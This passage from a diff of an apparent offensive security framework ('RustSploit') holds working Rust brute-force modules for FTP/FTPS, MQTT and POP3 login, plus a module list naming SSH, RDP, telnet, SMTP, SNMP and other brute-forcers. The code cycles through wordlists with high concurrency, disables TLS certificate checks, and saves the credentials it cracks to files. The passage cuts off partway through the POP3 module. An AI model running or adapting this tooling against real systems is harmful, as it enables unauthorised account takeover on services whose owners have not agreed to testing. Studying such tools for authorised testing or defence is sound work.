AuthenticationFailed,
TlsRequired,
ConnectionLimitExceeded,
ConnectionFailed,
Unknown,
}
impl FtpErrorType {
/// Classify FTP error based on response message
fn classify_error(msg: &str) -> Self {
let msg_lower = msg.to_lowercase();
// Authentication failed (wrong credentials)
if msg.contains("530") || msg_lower.contains("login incorrect") ||
msg_lower.contains("user") && msg_lower.contains("cannot") ||
msg_lower.contains("password") && msg_lower.contains("incorrect") {
return Self::AuthenticationFailed;
}
// TLS required
if msg.contains("550 SSL") || msg_lower.contains("tls required") ||
msg_lower.contains("ssl connection required") ||
msg.contains("220 TLS go first") ||
msg_lower.contains("must use tls") {
return Self::TlsRequired;
}
// Connection limit exceeded
if msg.contains("421") || msg_lower.contains("too many") ||
msg_lower.contains("connection limit") {
return Self::ConnectionLimitExceeded;
}
// Connection failed
if msg_lower.contains("connection refused") ||
msg_lower.contains("no route to host") ||
msg_lower.contains("network unreachable") ||
msg_lower.contains("connection reset") {
return Self::ConnectionFailed;
}
Self::Unknown
}
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Brute Force Module ║".cyan());
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Format IPv4 or IPv6 addresses with port for display
fn format_addr_for_display(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean_target = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean_target.contains(':') {
format!("[{}]:{}", clean_target, port)
} else {
format!("{}:{}", clean_target, port)
}
}
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = loop {
let input = prompt_default("FTP Port", "21").await?;
if let Ok(p) = input.parse() { break p }
println!("Invalid port. Try again.");
};
let usernames_file = prompt_required("Username wordlist").await?;
let passwords_file = prompt_required("Password wordlist").await?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "500").await?;
if let Ok(n) = input.parse::<usize>() {
if n > 0 { break n }
}
println!("Invalid number. Try again.");
};
// Create a semaphore to limit concurrent network operations
let semaphore = Arc::new(Semaphore::new(concurrency));
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
let save_results = prompt_yes_no("Save results to file?", true).await?;
let save_path = if save_results {
Some(prompt_default("Output file", "ftp_results.txt").await?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false).await?;
let display_addr = format_addr_for_display(target, port);
let connect_addr = format_addr_for_display(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
println!("\n[*] Starting brute-force on {}", display_addr);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
let passes = load_lines(&passwords_file)?;
if passes.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("{}", format!("[*] Loaded {} passwords", passes.len()).cyan());
let total_attempts = if combo_mode { users.len() * passes.len() } else { passes.len() };
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
if combo_mode {
for user in &users {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
for pass in &passes {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let addr_clone = connect_addr.clone();
let target_clone = target.to_string();
let display_addr_clone = display_addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let unknown_clone = Arc::clone(&unknown);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore);
let stats_clone = Arc::clone(&stats);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &target_clone, &user_clone, &pass_clone, verbose_flag).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).green().bold());
found_clone.lock().await.push((display_addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_attempt(false, true);
let msg = e.to_string();
{
let mut unk = unknown_clone.lock().await;
unk.push((
display_addr_clone.clone(),
user_clone.clone(),
pass_clone.clone(),
msg.clone(),
));
}
if verbose_flag {
println!(
"\r{}",
format!(
"[?] {} -> {}:{} error/unknown: {}",
display_addr_clone, user_clone, pass_clone, msg
)
.yellow()
);
}
}
}
drop(permit);
}));
}
}
} else {
if !users.is_empty() {
for (i, pass) in passes.iter().enumerate() {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
let addr_clone = connect_addr.clone();
let target_clone = target.to_string();
let display_addr_clone = display_addr.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let unknown_clone = Arc::clone(&unknown);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore);
let stats_clone = Arc::clone(&stats);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &target_clone, &user, &pass_clone, verbose_flag).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user, pass_clone).green().bold());
found_clone.lock().await.push((display_addr_clone.clone(), user.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user, pass_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_attempt(false, true);
let msg = e.to_string();
{
let mut unk = unknown_clone.lock().await;
unk.push((
display_addr_clone.clone(),
user.clone(),
pass_clone.clone(),
msg.clone(),
));
}
if verbose_flag {
println!(
"\r{}",
format!(
"[?] {} -> {}:{} error/unknown: {}",
display_addr_clone, user, pass_clone, msg
)
.yellow()
);
}
}
}
drop(permit);
}));
}
}
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
println!("\r{}", format!("[!] Task error: {}", e).red());
}
}
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass) in creds.iter() {
println!(" {} {} -> {}:{}", "".green(), host, user, pass);
}
if let Some(path) = save_path {
let file_path = get_filename_in_current_dir(&path);
match File::create(&file_path) {
Ok(mut file) => {
for (host, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
eprintln!("[!] Error writing to result file '{}'", file_path.display());
break;
}
}
println!("[+] Results saved to '{}'", file_path.display());
}
Err(e) => {
eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e);
}
}
}
}
drop(creds);
// Unknown / errored attempts
let unknown_guard = unknown.lock().await;
if !unknown_guard.is_empty() {
println!(
"{}",
format!(
"[?] Collected {} unknown/errored FTP responses.",
unknown_guard.len()
)
.yellow()
.bold()
);
if prompt_yes_no("Save unknown responses to file?", true).await? {
let default_name = "ftp_unknown_responses.txt";
let prompt_msg = format!(
"What should the unknown results be saved as? (default: {})",
default_name
);
let fname = prompt_default(&prompt_msg, default_name).await?;
let file_path = get_filename_in_current_dir(&fname);
match File::create(&file_path) {
Ok(mut file) => {
writeln!(
file,
"# FTP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in unknown_guard.iter() {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
println!("[+] Unknown responses saved to '{}'", file_path.display());
}
Err(e) => {
eprintln!(
"[!] Could not create or write unknown response file '{}': {}",
file_path.display(),
e
);
}
}
}
}
Ok(())
}
/// Try login using address string and fallback to FTPS if needed
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
// Attempt 1: Plain FTP
if verbose {
println!("[i] Connecting to {} (plain FTP)", addr);
}
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
Ok(Ok(mut ftp)) => {
match ftp.login(user, pass).await {
Ok(_) => {
let _ = ftp.quit().await;
return Ok(true);
}
Err(e) => {
let msg = e.to_string();
match FtpErrorType::classify_error(&msg) {
FtpErrorType::AuthenticationFailed => {
return Ok(false);
}
FtpErrorType::TlsRequired => {
if verbose { println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr); }
}
FtpErrorType::ConnectionLimitExceeded => {
println!("[-] {} - Server reported too many connections. Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
}
_ => {
if verbose {
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
return Err(anyhow!("FTP login error: {}", msg));
}
}
}
}
}
Ok(Err(e)) => {
let msg = e.to_string();
match FtpErrorType::classify_error(&msg) {
FtpErrorType::TlsRequired => {
if verbose { println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr); }
}
FtpErrorType::ConnectionLimitExceeded => {
println!("[-] {} - Server reported too many connections during connect. Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
}
FtpErrorType::ConnectionFailed => {
if verbose {
println!("[!] FTP connection failed to {} ({}:{}): {}", addr, user, pass, msg);
}
return Err(anyhow!("FTP connection failed: {}", msg));
}
_ => {
if verbose {
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
return Err(anyhow!("FTP connection error: {}", msg));
}
}
}
Err(_) => {
if verbose {
println!("[!] FTP connection timeout to {} ({}:{})", addr, user, pass);
}
return Err(anyhow!("FTP connection timeout"));
}
}
// FTPS fallback: connect and upgrade to TLS
if verbose {
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
}
let mut ftp_tls = timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr))
.await
.map_err(|_| {
if verbose {
println!("[!] FTPS connection timeout to {} ({}:{})", addr, user, pass);
}
anyhow!("FTPS connection timeout")
})?
.map_err(|e| {
if verbose {
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("FTPS base connect failed: {}", e)
})?;
// Build a connector that accepts invalid certs/hostnames (as original code did)
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
// Domain for TLS: extract clean hostname without brackets (IPv6) or port
let domain = target
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(target);
ftp_tls = ftp_tls
.into_secure(connector, domain)
.await
.map_err(|e| {
if verbose {
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("TLS upgrade failed: {}", e)
})?;
match ftp_tls.login(user, pass).await {
Ok(_) => {
let _ = ftp_tls.quit().await;
Ok(true)
}
Err(e) => {
let msg = e.to_string();
match FtpErrorType::classify_error(&msg) {
FtpErrorType::AuthenticationFailed => Ok(false),
_ => {
if verbose {
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
Err(anyhow!("FTPS error: {}", msg))
}
}
}
}
}
File diff suppressed because it is too large Load Diff
-17
View File
@@ -1,17 +0,0 @@
pub mod sample_cred_check;
pub mod ftp_bruteforce;
pub mod ftp_anonymous;
pub mod telnet_bruteforce;
pub mod ssh_bruteforce;
pub mod ssh_user_enum;
pub mod ssh_spray;
pub mod rtsp_bruteforce_advanced;
pub mod rdp_bruteforce;
pub mod enablebruteforce;
pub mod smtp_bruteforce;
pub mod pop3_bruteforce;
pub mod snmp_bruteforce;
pub mod fortinet_bruteforce;
pub mod l2tp_bruteforce;
pub mod mqtt_bruteforce;
@@ -1,322 +0,0 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
prompt_yes_no, prompt_wordlist, prompt_int_range, prompt_default,
load_lines, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
const MQTT_CONNECT_TIMEOUT_MS: u64 = 3000;
const MQTT_READ_TIMEOUT_MS: u64 = 2000;
#[derive(Clone)]
struct MqttBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
client_id: String,
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!();
let port = prompt_int_range("MQTT Port", 1883, 1, 65535).await? as u16;
let username_wordlist = prompt_wordlist("Username wordlist file").await?;
let password_wordlist = prompt_wordlist("Password wordlist file").await?;
let threads = prompt_int_range("Max threads", 8, 1, 1000).await? as usize;
let stop_on_success = prompt_yes_no("Stop on first valid login?", true).await?;
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let client_id = prompt_default("MQTT Client ID", "rustsploit_client").await?;
let config = MqttBruteforceConfig {
target: normalize_target(&target.to_string())?,
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
client_id,
};
run_mqtt_bruteforce(config).await
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ MQTT Brute Force Module ║".cyan());
println!("{}", "║ Tests MQTT broker authentication ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
async fn run_mqtt_bruteforce(config: MqttBruteforceConfig) -> Result<()> {
let normalized = normalize_target(&config.target)?;
let addr = if (normalized.starts_with('[') && normalized.ends_with(']')) || (!normalized.contains(':')) {
format!("{}:{}", normalized, config.port)
} else {
normalized
};
let usernames = load_lines(&config.username_wordlist)?;
let passwords = load_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow!("Username or password wordlist is empty."));
}
println!("{}", format!("[*] Loaded {} username(s).", usernames.len()).cyan());
println!("{}", format!("[*] Loaded {} password(s).", passwords.len()).cyan());
let total_attempts = if config.full_combo {
usernames.len() * passwords.len()
} else {
passwords.len() // Assuming same length or cycling
};
// If not full combo, we define total as max(usernames, passwords) * cycles?
// The original code was:
// else if usernames.len() == 1 { passwords.len() }
// else if passwords.len() == 1 { usernames.len() }
// else { passwords.len() } -> implicit assumption of lockstep or cycling passwords against single user
// We will stick to the previous logic's rough count or just say "many".
println!("{}", format!("[*] Approximate attempts: {}", total_attempts).cyan());
println!();
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new()); // Use shared stats
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_flag.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
tokio::time::sleep(Duration::from_secs(2)).await;
}
});
let semaphore = Arc::new(Semaphore::new(config.threads));
let mut tasks = FuturesUnordered::new();
// Generate work items
// To avoid huge memory usage for large combos, we can stream/generate on fly or push all if reasonable.
// For consistency with other modules, we'll iterate.
if config.full_combo {
for u in &usernames {
for p in &passwords {
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { break; }
spawn_task(
&mut tasks, &semaphore, u.clone(), p.clone(),
config.clone(), addr.clone(),
found.clone(), stop_flag.clone(), stats.clone()
).await;
}
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { break; }
}
} else {
// Linear strategy similar to original module
// Original logic:
// if user=1 -> iterate passwords
// if pass=1 -> iterate users
// else -> iterate passwords (reusing user[0]) - This was original bug/limitation?
// Let's improve it: Cycle users if multiple
let max_len = std::cmp::max(usernames.len(), passwords.len());
for i in 0..max_len {
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { break; }
let u = &usernames[i % usernames.len()];
let p = &passwords[i % passwords.len()];
spawn_task(
&mut tasks, &semaphore, u.clone(), p.clone(),
config.clone(), addr.clone(),
found.clone(), stop_flag.clone(), stats.clone()
).await;
}
}
// Wait for tasks
while let Some(res) = tasks.next().await {
if let Err(e) = res {
stats.record_error(format!("Task panic: {}", e)).await;
}
}
// Stop progress
stop_flag.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Final report
stats.print_final().await;
let found_guard = found.lock().await;
if found_guard.is_empty() {
println!("{}", "[-] No valid credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", found_guard.len()).green().bold());
for (u, p) in found_guard.iter() {
println!(" {} {}:{}", "".green(), u, p);
}
// Simple save prompt if needed, or rely on user using tee
// The shared modules usually don't prompt for save at the end but user asked for previous behavior?
// Other refactored modules REMOVED the "save to file" prompt at the end to unify behavior
// (stdout is enough). I will stick to implicit unification: No post-run prompts.
}
Ok(())
}
async fn spawn_task(
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
semaphore: &Arc<Semaphore>,
user: String,
pass: String,
config: MqttBruteforceConfig,
addr: String,
found: Arc<Mutex<Vec<(String, String)>>>,
stop_flag: Arc<AtomicBool>,
stats: Arc<BruteforceStats>,
) {
let permit = semaphore.clone().acquire_owned().await.ok();
if permit.is_none() { return; }
tasks.push(tokio::spawn(async move {
// explicit drop of permit at end of scope
let _permit = permit;
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { return; }
match try_mqtt_login(&addr, &user, &pass, &config.client_id).await {
Ok(true) => {
println!("\r{}", format!("[+] VALID: {}:{}", user, pass).green().bold());
found.lock().await.push((user.clone(), pass.clone()));
stats.record_success();
if config.stop_on_success {
stop_flag.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats.record_failure();
if config.verbose {
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
}
}
Err(e) => {
stats.record_error(e.to_string()).await;
if config.verbose {
println!("\r{}", format!("[!] Error {}:{}: {}", user, pass, e).red());
}
}
}
}));
}
async fn try_mqtt_login(addr: &str, username: &str, password: &str, client_id: &str) -> Result<bool> {
// Resolve first (async)
// We can use default tokio resolution via TcpStream::connect, but strictly speaking we might want
// to resolve once if address is static, but here it's fine.
// Tokio TcpStream connect
let stream = tokio::time::timeout(
Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS),
TcpStream::connect(addr)
).await.context("Connection timeout")??;
// We don't need explicit set_read_timeout for tokio stream generally if we use timeout() on ops
// But let's act on ops.
let mut stream = stream;
// Build MQTT CONNECT packet (same logic as before)
let mut packet = Vec::new();
packet.push(0x10); // CONNECT
let protocol_name = b"MQTT";
let protocol_level = 0x04;
let connect_flags = 0xC0; // User + Pass
let keep_alive: u16 = 60;
let mut var_header = Vec::new();
var_header.extend_from_slice(&(protocol_name.len() as u16).to_be_bytes());
var_header.extend_from_slice(protocol_name);
var_header.push(protocol_level);
var_header.push(connect_flags);
var_header.extend_from_slice(&keep_alive.to_be_bytes());
let mut payload = Vec::new();
let client_id_bytes = client_id.as_bytes();
payload.extend_from_slice(&(client_id_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(client_id_bytes);
let username_bytes = username.as_bytes();
payload.extend_from_slice(&(username_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(username_bytes);
let password_bytes = password.as_bytes();
payload.extend_from_slice(&(password_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(password_bytes);
let remaining_length = var_header.len() + payload.len();
let mut remaining_length_bytes = Vec::new();
let mut x = remaining_length;
loop {
let mut byte = (x % 128) as u8;
x /= 128;
if x > 0 { byte |= 0x80; }
remaining_length_bytes.push(byte);
if x == 0 { break; }
}
packet.extend_from_slice(&remaining_length_bytes);
packet.extend_from_slice(&var_header);
packet.extend_from_slice(&payload);
// Send
stream.write_all(&packet).await.context("Failed to send CONNECT")?;
stream.flush().await?;
// Read CONNACK
let mut response = [0u8; 4];
let n = tokio::time::timeout(
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
stream.read(&mut response)
).await.context("Read timeout")??;
if n < 2 { return Err(anyhow!("CONNACK too short")); }
if response[0] != 0x20 { return Err(anyhow!("Expected CONNACK 0x20")); }
if n >= 4 {
match response[3] {
0x00 => {
// Success. Disconnect nicely.
let _ = stream.write_all(&[0xE0, 0x00]).await;
Ok(true)
},
0x04 | 0x05 => Ok(false), // Auth fail
c => Err(anyhow!("Return code: 0x{:02x}", c))
}
} else {
Ok(false)
}
}
@@ -1,316 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use native_tls::TlsConnector;
use std::io::{Read, Write};
use std::net::TcpStream;
use std::sync::{
atomic::{AtomicBool, Ordering},
Arc,
};
use std::time::Duration;
use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default,
};
use crate::modules::creds::utils::BruteforceStats;
#[derive(Clone)]
struct Pop3BruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
use_ssl: bool,
connection_timeout: u64,
retry_on_error: bool,
max_retries: usize,
output_file: String,
delay_ms: u64,
}
pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
println!();
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false).await?;
let default_port = if use_ssl { 995 } else { 110 };
let port = prompt_int_range("Port", default_port as i64, 1, 65535).await? as u16;
let username_wordlist = prompt_existing_file("Username wordlist file").await?;
let password_wordlist = prompt_existing_file("Password wordlist file").await?;
let threads = prompt_int_range("Threads", 16, 1, 256).await? as usize;
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000).await? as u64;
let connection_timeout = prompt_int_range("Timeout (s)", 5, 1, 60).await? as u64;
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
let stop_on_success = prompt_yes_no("Stop on first valid login?", false).await?;
let output_file = prompt_default("Output file for results", "pop3_results.txt").await?;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let retry_on_error = prompt_yes_no("Retry failed connections?", true).await?;
let max_retries = if retry_on_error {
prompt_int_range("Max retries", 2, 1, 10).await? as usize
} else {
0
};
let config = Pop3BruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
use_ssl,
connection_timeout,
retry_on_error,
max_retries,
output_file,
delay_ms,
};
println!();
println!("{}", "[Starting Attack]".bold().yellow());
println!();
run_pop3_bruteforce(config).await
}
async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
// Determine loading strategy
let _user_count = count_lines(&config.username_wordlist)?;
let _pass_count = count_lines(&config.password_wordlist)?;
// We will use memory mode for simpler implementation unless huge, but for now standard load_lines
// If files are huge, the shared Utils load_lines might panic or OOM, but let's assume reasonable sizes for now
// or use the streaming logic if I can adapt it easily.
// To match other modules (ssh/ftp), I'll use load_lines.
let usernames = load_lines(&config.username_wordlist)?;
let passwords = load_lines(&config.password_wordlist)?;
let total_attempts = if config.full_combo {
usernames.len() * passwords.len()
} else {
std::cmp::max(usernames.len(), passwords.len())
};
println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
println!("[*] Total attempts: {}", total_attempts);
let stats = Arc::new(BruteforceStats::new());
let found_creds = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let _start_time = std::time::Instant::now();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(2)).await;
stats_clone.print_progress();
}
});
let semaphore = Arc::new(Semaphore::new(config.threads));
let mut tasks = FuturesUnordered::new();
// Generate combinations
let mut combos = Vec::new();
if config.full_combo {
for u in &usernames {
for p in &passwords {
combos.push((u.clone(), p.clone()));
}
}
} else {
// Linear mix: try u[0] p[0], u[1] p[1]... cycle if needed
let max_len = std::cmp::max(usernames.len(), passwords.len());
for i in 0..max_len {
let u = &usernames[i % usernames.len()];
let p = &passwords[i % passwords.len()];
combos.push((u.clone(), p.clone()));
}
}
// Process combinations
for (user, pass) in combos {
if config.stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let permit = semaphore.clone().acquire_owned().await?;
let config_clone = config.clone();
let stats_clone = stats.clone();
let found_clone = found_creds.clone();
let stop_signal_clone = stop_signal.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
tasks.push(tokio::spawn(async move {
let _permit = permit; // Hold permit
if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
// Retry loop
let mut retries = 0;
loop {
let config_inner = config_clone.clone();
let user_inner = user_clone.clone();
let pass_inner = pass_clone.clone();
let res = tokio::task::spawn_blocking(move || {
attempt_pop3_login(&config_inner, &user_inner, &pass_inner)
}).await;
match res {
Ok(Ok(true)) => {
println!("\r{}", format!("[+] Found: {}:{}", user, pass).green().bold());
found_clone.lock().await.push((user.clone(), pass.clone()));
stats_clone.record_success();
if config_clone.stop_on_success {
stop_signal_clone.store(true, Ordering::Relaxed);
}
break;
},
Ok(Ok(false)) => {
stats_clone.record_failure();
if config_clone.verbose {
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
}
break;
},
Ok(Err(e)) => {
if config_clone.retry_on_error && retries < config_clone.max_retries {
retries += 1;
stats_clone.record_retry();
// Small backoff
tokio::time::sleep(Duration::from_millis(500)).await;
continue;
}
stats_clone.record_error(e.to_string()).await;
if config_clone.verbose {
println!("\r{}", format!("[!] Error {}:{}: {}", user, pass, e).red());
}
break;
},
Err(e) => {
stats_clone.record_error(format!("Task panic: {}", e)).await;
break;
}
}
}
if config_clone.delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await;
}
}));
// Drain finished tasks to keep memory low
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {
// Just drain
}
}
// Wait for remaining
while let Some(_) = tasks.next().await {}
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final().await;
// Save results
let found = found_creds.lock().await;
if !found.is_empty() {
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) {
for (u, p) in found.iter() {
let _ = writeln!(file, "{}:{}", u, p);
}
println!("[+] Results saved to {}", config.output_file);
}
}
Ok(())
}
fn count_lines(path: &str) -> Result<usize> {
let file = std::fs::File::open(path)?;
let reader = std::io::BufReader::new(file);
use std::io::BufRead;
Ok(reader.lines().count())
}
// Blocking login attempt
fn attempt_pop3_login(config: &Pop3BruteforceConfig, user: &str, pass: &str) -> Result<bool> {
let addr = format!("{}:{}", config.target, config.port);
let timeout = Duration::from_secs(config.connection_timeout);
if config.use_ssl {
let connector = TlsConnector::new()?;
// Resolve first to apply timeout to connect
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
let stream = TcpStream::connect_timeout(&socket_addr, timeout)?;
stream.set_read_timeout(Some(timeout))?;
stream.set_write_timeout(Some(timeout))?;
let mut stream = connector.connect(&config.target, stream)?;
// Read banner
let mut buffer = [0; 1024];
stream.read(&mut buffer)?; // +OK ...
stream.write_all(format!("USER {}\r\n", user).as_bytes())?;
let n = stream.read(&mut buffer)?;
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
return Ok(false);
}
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?;
let n = stream.read(&mut buffer)?;
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
stream.write_all(b"QUIT\r\n").ok();
return Ok(true);
}
} else {
